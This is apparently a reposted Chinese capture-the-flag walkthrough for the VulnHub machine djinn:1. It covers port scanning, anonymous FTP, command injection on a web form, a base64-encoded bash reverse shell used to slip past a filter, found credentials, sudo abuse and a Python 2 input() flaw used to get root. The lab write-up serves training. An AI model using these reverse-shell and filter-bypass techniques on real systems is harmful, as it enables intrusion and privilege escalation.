靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

admin 2022年5月24日09:42:43安全文章评论8 views4996字阅读16分39秒阅读模式
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough


下载地址

https://www.vulnhub.com/entry/djinn-1,397/

环境搭建

VirtualBox

靶机Hack djinn:1 : walkthrough:192.168.56.104

信息收集

存活IP扫描(py脚本扫描)

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

发现靶机IP为192.168.56.104

端口扫描(Nmap)

nmap -sS -sV -T5 -A -p- 192.168.56.104

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

发现21,1337,7331端口开放,22端口过滤状态

21端口

ftp命令大全:http://imhuchao.com/323.html

匿名登录常用的账号密码

anonymous/空主机的IP地址/空自己的e_mail地址/空节点自的IP地址/空admin/空administrator/空

使用anoymous/空,成功登录

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

mget *.* 下载当前目录下的所有文件,本地进行查看

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

匿名账户登录ftp下载并查看三个txt

creas.txt,一组用户名密码:nitu:81299

game.txt,提示在1337端口有个游戏

message.txt,要去度假,叫nitish81299照顾好工作

1337端口

使用浏览器访问了一下,无法访问

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

telnet访问

做一些加减乘除的运算,还必须得做完1000次,需要一个脚本,盘它

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

python脚本

from pwn import *
c = remote('192.168.56.104',1337)
c.recvuntil("nn", drop=True)
for i in range(1001):
c.recvuntil("(", drop=True) int1 = c.recvuntil(",", drop=True)
c.recvuntil("'", drop=True) mathsym = c.recvuntil("'", drop=True)
c.recvuntil(", ", drop=True) int2 = c.recvuntil(")", drop=True)
equation = int1+mathsym+int2 print(str(i)+"th answer= "+str(equation))
c.sendlineafter('>',equation)
c.interactive()

算出来的结果1356、6784、3409,看不出来有啥用处

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

7331端口

nmap扫描之后发现7331端口是HTTP服务,界面如下

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

对它进行目录扫描(webdirscan)

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

发现有两个目录 wish和genie对其进行查看

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough



可能存在系统命令执行漏洞,经过测试,输入id,成功返回,存在系统命令执行漏洞

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

漏洞利用

利用系统命令执行漏洞反弹shell

Bash反弹,一直反弹不出来

bash -i >& /dev/tcp/192.168.56.104/1234 0>&1


猜测是过滤了某些字符

Bypass一些命令注入限制的姿势

https://xz.aliyun.com/t/3918

https://github.com/swisskyrepo/PayloadsAllTheThings

经过测试,base64编码就可绕过

base64在线编码,解码

https://www.bt.cn/tools/encrybase.html

nc监听1234端口

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

执行如下命令:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi8xMjM0IDA+JjE=| base64 -d|bash

成功反弹shell,权限是www-data

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough


获取shell之后要做的第一件事是获取一个tty,不然有些命令是无法执行的

python获取tty

python -c 'import pty;pty.spawn("/bin/bash")'  # 有些没有安装Python2,所以需要换成python3 -c

查看 etc/passwd发现有两个用户sam和nitish

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough在/home/nitish目录下找到user.txt文件,查看没有权限,无法查看,需要提权

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

提权

提权(nitish)

在opt/80目录下查看所有文件,发现有几个py文件,查看app.py文件,发现过滤cmd的方法和一个文件

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

进行访问,发现是nitish的账号和密码文件


/home/nitish/.dev/creds.txt

发现nitish的账号密码

账号/密码:nitish/p4ssw0rdStr3r0n9

利用su进行提权,输入账号,密码得到nitish权限

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

查看user.txt得到第一个flag

提权(root)

查找sudo权限命令:sudo -l

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

sudo -u sam /usr/bin/genie -h 查看下使用说明,发现可以通过这个可执行文件得到一个shell,应该输入什么样的参数才能获得sam用户的shell

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

man /usr/bin/genie查看一下使用帮助

man是manual的缩写,man命令用来提供在线帮助,通过man命令可以查看Linux中的命令帮助、配置文件帮助、编程帮助等信息。

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

genie可以完成你所有的愿望,甚至可以提升你的权限

执行了sudo -u sam /usr/bin/genie -p"/bin/sh",没有得到sam的shell执行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam权限

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

提权到了sam用户,再次执行sudo -l得到如下内容

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

执行sudo -u root /root/lago出现一个选择题,无论我们输入什么都不对

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

读取文件也是没有权限(哎)

使用find / -writable -type f 2>/dev/null查找可写文件

发现了一个/home/sam/.pyc,虽然之前也看到过,但那时候并没有引起我的注意

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

.pyc文件进行读取查看

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

整理出里面的内容主要内容如下

Working on it!!Choose a number between1 to 100: sEnter your number:Better Luck next timeEnter the full of thefile to read: s!User %s is not allowed to readWhat do you want to do ?Be naughtyGuess the numberRead some damn fileEnter your choice:work your ass off!!

这些话你之前是不是都看到过?就是在/root/lago这个可执行文件里面看到过。也就是说/root/lago的源码是Python,看/home/sam/.pyc里面也有这样的描述

把该文件下载到本地进行反编译

靶机上有python环境,在改文件目录下使用 python开启一个http服务,下载到本地

python -m SimpleHTTPServer 8000

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough


python反编译在线

https://tool.lu/pyc

反编译的代码如下

#!/usr/bin/env python# visit http://tool.lu/pyc/ for more informationfrom getpass import getuserfrom os import systemfrom random import randintdef naughtyboi():    print 'Working on it!! 'def guessit():    num = randint(1, 101)    #num=1    print 'Choose a number between 1 to 100: '    s = input('Enter your number: ')    if s == num:        system('/bin/sh')    else:        print 'Better Luck next time'def readfiles():    user = getuser()    path = input('Enter the full of the file to read: ')    print 'User %s is not allowed to read %s' % (user, path)def options():    print 'What do you want to do ?'    print '1 - Be naughty'    print '2 - Guess the number'    print '3 - Read some damn files'    print '4 - Work'    choice = int(input('Enter your choice: '))    return choicedef main(op):    if op == 1:        naughtyboi()    elif op == 2:        guessit()    elif op == 3:        readfiles()    elif op == 4:        print 'work your ass off!!'    else:        print 'Do something better with your life'if __name__ == '__main__':    main(options())

python input()漏洞

Python 2.x 中有两种常用的方法来接收输入:

1、使用输入()功能:此功能需要您输入的输入值和类型,因为它是在不修改任何类型。

2、使用raw_input() 函数:该函数将您提供的输入显式转换为字符串类型

s1 =raw_input("Enter input to testraw_input() function: ")printtype(s1)
s2 =raw_input("Enter input to testraw_input() function: ")printtype(s2)
s3 =raw_input("Enter input to testraw_input() function: ")printtype(s3)
s4 =input("Enter input to testinput() function: ")printtype(s4)
s5 =input("Enter input to testinput() function: ")printtype(s5)
s6 =input("Enter input to testinput() function: ")printtype(s6)

输入

你好456[1,2,3]45“再见”[1,2,3]

输出

Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>
Enter input totest input () 函数:<type ' int '>Enter inputtotest input() function: <type ' str '>Enter input to testinput() function: <type ' list '>

可以看到使用raw_input()无论输入什么都是str字符串类型,input()输入要想输入”你好”必须要用引号不然会报错。也就是说如果input()输入一个变量返回也就是变量的值,不是一个”secret_number”字符串,raw_input()输入一个变量输出也就是个”secret_number”字符串,如下代码:

import randomsecret_number = random.randint(1,500)print "pick a number between 1 to 500"while True:    res = input("Guess the number:")#输入secret_number#print(secret_number)    #res = raw_input("Guess thenumber: ")#输入secret_number#print(secret_number)if res==secret_number:        print "You win"        break    else:        print "You lose"        continue

input(secret_number)会输出you win

raw_input(secret_number)会输出you lose

输入2,在输入num就提权到了root权限啦,得到第二个flag。

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough


靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

倏忽温风至,因循小暑来。洋湖有清风,可以消烦暑。城市的浮热,在原上的浓阴下散去。

靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

原文始发于微信公众号(鹏组安全):靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日09:42:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  靶机实战-vuluhub系列-Hack djinn:1 : walkthrough http://cn-sec.com/archives/596330.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: